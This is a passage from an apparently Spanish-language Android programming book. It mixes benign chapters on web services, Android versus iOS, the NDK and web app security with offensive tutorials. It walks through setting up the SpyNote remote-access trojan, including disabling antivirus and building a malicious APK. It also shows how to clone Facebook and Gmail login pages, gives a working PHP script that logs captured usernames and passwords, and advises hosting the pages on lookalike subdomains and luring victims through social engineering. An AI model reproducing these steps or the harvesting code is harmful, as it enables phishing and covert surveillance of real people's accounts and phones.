A diario utilizas muchos de estos servicios: Gmail, Yahoo,
Facebook, Dropbox, Google Drive, Evernote, etc., son
servicios en la nube.
La nube te ayuda a comunicarte, compartir, organizar,
almacenar y encontrar tu información con gran rapidez.
121
Acceder a Google Drive:
122
Capítulo 5:
Aplicaciones web
dentro de Android.
123
5.1.-Introducción a un servicio web
Un servicio web (web service o web services) es una
tecnología que utiliza un conjunto de protocolos y estándares
que sirven para intercambiar datos entre aplicaciones.
Distintas aplicaciones de software desarrolladas en lenguajes
de programación diferentes, y ejecutadas sobre cualquier
plataforma, pueden utilizar los servicios web para
intercambiar datos en redes de ordenadores como Internet.
La interoperabilidad se consigue mediante la adopción
de estándares abiertos. Las organizaciones OASIS y W3C son
los comités responsables de la arquitectura y reglamentación
de los servicios Web. Para mejorar la interoperabilidad entre
distintas implementaciones de servicios Web se ha creado el
organismo WS-I, encargado de desarrollar diversos perfiles
para definir de manera más exhaustiva estos estándares. Es
una máquina que atiende las peticiones de los clientes web y
les envía los recursos solicitados.
124
Tipos de servicios Web:
es un componente software proporcionado a través de
un endpoint accesible a través de la red. Los servicios
productores y consumidores utilizan mensajes para
intercambiar información de invocaciones de petición y
respuesta en forma de documentos auto-contenidos que
hacen muy pocas asunciones sobre las capacidades
tecnológicas de cada uno de los receptores.
¿Qué es un endpoint?
125
5.2.-Como montar un Rat
Los troyanos del tipo RAT llevan siendo utilizados muchos años
por los piratas informáticos, se ejecutan a nivel de memoria
RAM, sin pasar por disco duro y de forma cifrada,
convirtiéndose en malware incapaz de ser detectado por la
mayoría de herramientas de seguridad. Incluso han alcanzado
desarrollos con una serie de técnicas adicionales para, enviar
información sobre el host donde se ejecuta, detectar
herramientas de análisis de procesos, y también ser capaz de
auto eliminarse en caso de ejecutarse sobre entornos virtuales
de pruebas.
Ejemplos de ello son troyanos con fines de extraer información
bancaria y de identificación personal, todos mediante
operaciones manuales, manteniendo permisos de
administrador y firmados con certificados debug lo cual les
permite ocultar su identificación.
126
Monitorizar las pulsaciones del teclado.
Realizar capturas de pantalla.
Ocupar el espacio libre del disco duro con archivos inútiles.
Monitorización del sistema y seguimiento de las acciones
del usuario.
Miscelánea (acciones "graciosas" tales como expulsar la
unidad de CD, cambiar la apariencia del sistema, etc.)
Sacar fotos por la webcam si tiene.
Borra el disco.
127
El rat que vamos a utilizar en esta ocasión va ser SpyNote:
128
Analizando este compilador, los expertos de seguridad han
descubierto una gran similitud con otras variantes similares
como OmniRat y DroidJack y, según la actividad de los foros
de la Deep Web, es posible que esta nueva amenaza esté lista
para empezar a distribuirse a nivel mundial en cualquier
momento.
129
Imagen 1.83, Creamos una nueva cuenta
130
Una vez descargado el programa, seguiremos con los pasos
de instalación, “Imagen 1.87”:
131
Y por último se va instalar, “Imagen 1.89”:
132
Vamos a entrar al programa con la cuenta ya creada,
“Imagen 1.90”:
133
Por ultimo nos saldrá esta venta diciendo que ya podemos
ocupar nuestro sitio de NO-IP, “Imagen 1.92”:
Nota:
Es importa DESACTIVAR EL ACTIVIRUS, para que nos deje
descargar el archivo.
134
Una vez que descarguemos el archivo nos aparecerá de esta
forma y descomprimimos el archivo, “Imagen 1.94”:
135
Ahora vamos a checar la venta de Help, “Imagen 1.96”:
136
Y una vez que le demos clic nos va, aparecer la siguiente
ventana, “Imagen 1.99”;
137
Ahora vamos a ver que opción nos da el archivo de
protected: Activación de la aplicación protected también la
vamos a desactivar, “Imagen 1.100”:
138
5.3.-Descarar la app
Ahora vamos a visualizar los demás campos que tenemos
como opción, en el campo de HOST vemos que en la parte
derecha viene IP le vamos a dar clic y nos cambiara HOST por
una IP, “Imagen 1.103”:
139
Imagen 1.104, Creando un .APK
140
Capítulo 6: Android en
redes sociales.
141
6.1.-Creación de plantillas
Web Spoofing:
142
Ahora teniendo claro este método procederemos a la
creación de nuestra plantilla que en este caso será la de
Facebook y los pasos van hacer los siguientes:
143
Facebook cuenta con diferentes host y cada uno tiene su
propia IP suponiendo que tengan 3 servidores:
144
Buscaremos los </script> que sean más grandes y no tengan
que ver con los .cs que tenemos en nuestra carpeta.
Borraremos donde empieza <script> hasta donde termina
</script>.
145
Abrimos el Facebook.html y buscamos y reemplazamos todo.
146
Una vez terminado, ya tendremos nuestra edición y ahora nos
quedara algo así:
147
Ahora lo que nos falta es la imagen que debe aparecer con la
palabra Facebook.
Tenemos dos opciones la buscamos o la copiamos veremos
qué tal se ve si la copiamos directamente de la página.
O nos vamos a la página de Facebook oficial y vemos que no
se ve la dirección de la imagen y se muestra una clase. Le
damos Inspeccionar elementos y podemos ver que las
medidas son:
Ancho: 170px. Alto: 34px.
148
Insertaremos los valores para mostrar la imagen.
<IMG SRC="./Facebook_files/mostrar.PNG" WIDTH="185"
HEIGHT="50"></IMG>
149
Ahora si nos vamos a la página de Facebook falsa y
buscaremos el ACTION que es donde nos re-direccionará.
Y aumentaremos esta línea en el código de edición:
<form id="login_form"
action="https://www.facebook.com/login.php?login_attempt
=1&lwv=110" method="post" novalidate="1"
onsubmit="return window.Event &&
Event.__inlineSubmit &&
Event.__inlineSubmit(this,event)">
150
Ahora quitaremos lo que no queremos enviar mediante el
formulario.
lsd=AVr9S5F7&[email protected]&pass=password12
3&default_persistent=1&timezone=360&lgndim=eyJ3IjoxMzY2L
CJoIjo3NjgsImF3IjoxMzY2LCJhaCI6NzI4LCJjIjoyNH0=&lgnrnd=08
2519_AGOT&lgnjs=1452011125&locale=es_LA&qsstamp=
151
Con esto podremos hacer el conecta.php
Tomaremos los valores del email y password de las etiquetas de
texto y de tipo password del Facebook.html.
152
Creación de Scam Gmail:
153
Ahora nos faltaría el password.
154
Y el action redirigirá a la página que guardará los datos podría
ser guarda.php.
En el archivo guarda.php obtendremos todos los datos:
<?php
$usuario = $_GET['Email'];
$contraseña = $_GET['Passwd'];
$guardame = fopen('guarda.txt','a+');
fwrite($guardame,"----Usuario:".$usuario."----
Contrasena:".$contraseña."\r\n");
fclose($guardame);
echo "<meta http-equiv='refresh'
content='1;url=https://accounts.google.com'>"
?>
Recordemos que habrá que eliminar los scripts para poder
subirlos a un host y que no sean detectados.
Subiremos los de Facebook a un servidor con una URL
(subdominio gratuito) que parezca lo más creíble a una url de
Facebook.
Crear una cuenta en x10hosting.
Recurriremos a un servicio de hospedaje Web en este caso
gratuito.
155
Entramos un email para confirmar nuestra cuenta.
156
Abrimos Filezilla FTP Client.
Y ponemos los datos:
157
Procedemos a dar clic derecho y subir.
Para visualiza nuestro scam basta con abrir nuestra web
mediante el subdominio:
Ejemplo:
http://subdominio.x10.com/carpeta_scam/index.html
Ahora podemos meter este scam dentro de un mensaje o una
publicación en Facebook o algún método de ingeniería social
para poder enviarlo a nuestra víctima.
158
Lo abriremos con el bloc de notas o notepad++:
159
Nota:
No caigan y crean lo que se ve en internet como:
http://hackearfb.com/
Lo único que se conseguirá es que nos infecten con adware,
suscribirnos a servicios.
160
El scam ideal podría ser el siguiente:
162
importancia de la aplicabilidad de la misma en la vida
cotidiana. Actualmente la programación es una pieza
esencial en el diseño de las páginas web, codificando,
depurando y por supuesto proporciona ese código fuente en
los programas computacionales, permitiendo efectuar
procesos con el fin de obtener un resultado.
163
6.3.-Diferencia en el desarrollo de aplicaciones Android
con iOS
Libertades al desarrollar:
El sistema Android te permite más libertad al momento de
desarrollar al sema una plataforma de “Código libre”, da más
espacio para integrase y desarrollar nuevas funciones.
Un ejemplo de ello sería la nueva versión de WhatsApp Web,
que utiliza los celulares Android como puente entre el
ordenador y el servidor.
En cuestiones de iOS es un sistema muy limitante, Apple
establece sobre las aplicaciones, limitaciones que no
permiten usar el mismo método que se utiliza en Android, aun
que el equipo de WhatsApp terminó dando soporte a la
característica con otras vías que sí permite Apple.
164
Diferencia entra las dos tiendas:
Publicar una aplicación en la App Store no es nada sencillo
ya que para publicar se necesita una cuenta de desarrollar y
tiene un costo de 100 dólares por inscribirse, todas las
aplicaciones desarrolladas pasan por una revisión manual por
el equipo de App Store.
Sin embargo, esta especie de filtro permite tener un mercado
de aplicaciones más cuidado que la competencia, donde los
usuarios tienen menor probabilidad de verse en apuros y con
mayor calidad.
Por otro lado, Android cuenta igual con cuenta de
desarrolladores, pero el costo es mucho menor, a su vez pasa
por un proceso de revisión, con protección contra amenazas
a la seguridad del sistema.
165
iOS es el software de Apple y solo funciona como quiere
Apple, o lo aceptas o te buscas otro teléfono. Por otro lado,
Android te deja cambiar incluso la aplicación que usas para
enviar mensajes de texto (SMS), añadir widgets a la pantalla
de inicio e incluso usar otros launchers si así lo deseas.
La interfaz y notificaciones:
Ambas son bastante diferentes. Si te has acostumbrado a usar
una de ellas puede que sencillamente no te intereses por la
otra. Mientras que Apple apuesta por un diseño mucho más
refinado, Google busca impactar más. Ambas tienen diseños
preciosos, a su manera.
De cierto modo, las notificaciones funcionan de igual forma
en ambos sistemas operativos, y las diferencias que existen
son bastante sutiles y pequeñas: El sistema de Apple aún te
permite configurar las notificaciones de forma individual para
cada aplicación, mientras que Google lo facilita mucho más
para responder o eliminar alertas directamente desde el
centro de notificaciones.
Con el nuevo modo de prioridad de Lollipop, Android
finalmente tiene algo para rivalizar con el modo “No
Molestar” de iOS, aunque ambos son un poco complicados
de entender al principio.
166
Compara a Siri con Google No:
Siri tiene que ver más acerca de controlar las cosas con tu
voz, usar tu teléfono sin mover tus manos ni solicitar
información con la voz. Google Now, en cambio, también
acepta algunas órdenes con la voz, pero su enfoque principal
es el de darte a conocer información que cree es la que
buscas y necesitas basándose en tus correos electrónicos,
registros de búsqueda, viajes recientes y más.
Ya hemos hablado acerca de personalización y cómo
puedes darle un aspecto completamente nuevo a tu
Android, píxel a píxel, si así lo deseas. No hay forma de hacer
esto en un iPhone. Hay una gran diferencia también en la
capacidad de compartir cosas desde una aplicación.
Mientras que Android te permite compartir prácticamente
cualquier tipo de archivo a través de cualquier aplicación,
iOS se ha abierto muy poco en este sentido.
167
iOS en ofrecer el cifrado completo de los dispositivos por
defecto, aunque esto solo es obligatorio para los teléfonos
y tablets Nexus.
168
A medida que Google y Apple se copian funciones, y ambos
sistemas operativos se vuelven más y más maduros, elegir
entre uno u otro ya no es cuestión de una lista de funciones,
sino de elegir entre lo que hay más allá. Se trata de elegir
entre dos ecosistemas diferentes, de elegir a quien confiar
nuestros datos, y cómo queremos vivir nuestra vida digital a
través de smartphones, computadoras e Internet.
169
6.4.-Android NDK
170
Para empezar, hay que conocer las arquitecturas
compatibles con Android NDK:
Cuando trabajas con código nativo, el hardware es
importante. El NDK te permite asegurarte de realizar
compilaciones para las arquitecturas y CPU correctas al
proporcionarte una variedad de ABI entre las cuales puedes
seleccionar.
171
ndk-build, que es lo que usa el NDK para compilar tus
orígenes. Por último, se explora territorio avanzado y se
aborda la manera de incorporar el NDK a tu propio conjunto
de herramientas, si prefieres realizar compilaciones de esa
manera en lugar de usar ndk-build.
172
unas librerías que nos permite usar C o C++ para implementar
audio con baja y alto rendimiento.
173
sobre el muestreo de audio a fin de ayudarte a seleccionar el
índice de muestra óptimo, y considerar las ventajas y
desventajas del uso de números de punto flotante para
representar tus datos de audio. La sección finaliza con notas
de programación complementarias para garantizar la
implementación correcta de OpenSL.
174
boolean hasLowLatencyFeature =
getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_LOW_LAT
ENCY);
boolean hasProFeature =
getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_PRO);
175
debes habilitar las capas de validación. Las capas de
validación interceptan o enlazan puntos de entrada Vulkan
para diferentes fines de depuración y validación.
176
6.5.-Aplicaciones web
177
Las Web Apps o Aplicaciones Web se ejecutan siempre a
través de un navegador web. Utilizan HTML, CSS y Java Script,
las mismas tecnologías que cualquier página web y hacen
uso de tecnología específica para dispositivos móviles.
Estas aplicaciones pueden parecerse visualmente mucho a
las aplicaciones nativas, Incluso pueden instalarse con su
propio icono junto al resto de aplicaciones y guardar
pequeñas cantidades de datos localmente para funcionar.
178
Aplicaciones Móviles Nativas:
179
6.6.-Seguridad dentro las Aplicaciones web
180
Además de verificar estos 2 parámetros, es importante
considerar la exposición accidental de datos que pueden ser
empleados en un posible ataque sobre el sistema. Los
mensajes de error enviados por el servidor, que suelen ser de
gran utilidad durante el proceso de desarrollo de la
aplicación, pueden ser empleados maliciosamente cuando
siguen apareciendo en un entorno de producción, por lo que
es necesario deshabilitar todos estos mensajes y editar
algunos otros (como los que se envían cuando el servidor no
encuentra algún archivo en particular) los cuales también
pueden ser utilizados por los atacantes para obtener
información sobre nuestro sistema.
181
Este paso adicional, es una característica que impacta en la
rapidez de acceso a la información por parte del usuario, pero
que proporciona un elemento adicional de protección.
182
Además de entender los orígenes de la información se debe
dar la misma importancia a entender cuáles son las salidas que
tiene la aplicación y hacia a donde se devuelven los
resultados.
183
En este caso, se llegan a utilizar funciones creadas y adaptadas
a nuestras necesidades a modo de filtro especial, en la
mayoría de estos casos es donde se puede encontrar el uso de
expresiones regulares.
184
Para la mayoría de los destinatarios, existen funciones nativas
en los lenguajes de programación para esta finalidad.
185
Ataques de Cross-Site Request Forgery:
<img src="http://ejemplo.org/compra.php-
param=valor¶m2=valor" />
186
Peticiones HTTP falsificadas:
187
SQL Inyección:
188
Muchas aplicaciones tienen recursos que son accesibles sólo
para los usuarios autenticados, así como recursos totalmente
públicos.
Espionaje de contraseñas:
Cuando un atacante tiene los medios para analizar el
tráfico entre los usuarios y el servidor de la aplicación,
debemos preocuparnos por la exposición que pueden
tener los datos en el trayecto, sobre todo cuando se
trata de credenciales de acceso.
189
La seguridad en aplicaciones Web involucra principalmente al
desarrollador, aunque con gran frecuencia se encuentran
defectos que pueden ser aprovechados por atacantes en las
tecnologías en que se basan los sistemas web (Sistemas
Operativos, Servidores Web, Servidor de Base de Datos, etc.) la
atención principal debe dirigirse a los defectos propios al
desarrollo nuestras aplicaciones.
190
6.7.-Demostración de la Aplicación
Primero ejecutamos el emulador y vamos a nuestra
aplicación y no va aparecer una ventana como esta:
191
Ese es el primer Scam ahora vamos a cerrar la aplicación y
poner el Scam de Facebook:
192
Ahora una vez que terminemos el registro continuará el juego
y nos mandará al síguete ventana que ya programamos con
anterioridad. En el primer intento nos vamos a equivocar para
ver la opción de los intentos:
Michael
Tienes 3 intentos
193
Raúl
Tienes 2 intentos
Generando en 2
194
Mike
Tienes 3 intentos
Generando en 1
Por último, vamos ver el último caso del juego cuando nos
acabamos los 3 intentos, vamos a generar otra imagen.
195
Nicole
Tienes 3 intentos
Kevin
Tienes 2 intentos
Robert
Tienes 1 intentos
196
Ya que generamos los 3 intentos de prueba nos va salir la
imagen del personaje que es y nos va a mandar a la venta
principal:
197
Hasta hora ya hemos visto el vector de ataque por medio de
Spoofing el funcionamiento del juego y ahora vamos a ver el
2 vector de ataque que en este caso será un rat, como ya
vimos la instalación vamos ir directamente las opciones de
uso con las que disponemos:
198
Hay ya entramos al administrador de archivos ahora vamos a
ver videos y documentos, por ejemplo:
199
Ahora vamos al registro de SMS, mensajes de texto:
200
Hemos finalizado este libro, recopilando todo lo visto,
empezamos desde los conceptos más básicos, creamos
nuestra interfaz desde cero, implementamos un emulador,
vimos la importancia del uso de botones, etiquetas y platillas,
realizamos el uso de animaciones para mejorar el aspecto de
nuestra aplicación móvil, considero que Android en un
sistema operativo de gran ayuda, a su vez reconozco que no
es un sistema seguro, ya que pudimos implementar 2 vectores
de ataque uno fue con la creación de nuestro rat y
montando la apk y la otra promedio de las redes sociales, y
por ultimo espero que sea de tu agrado el libro.
201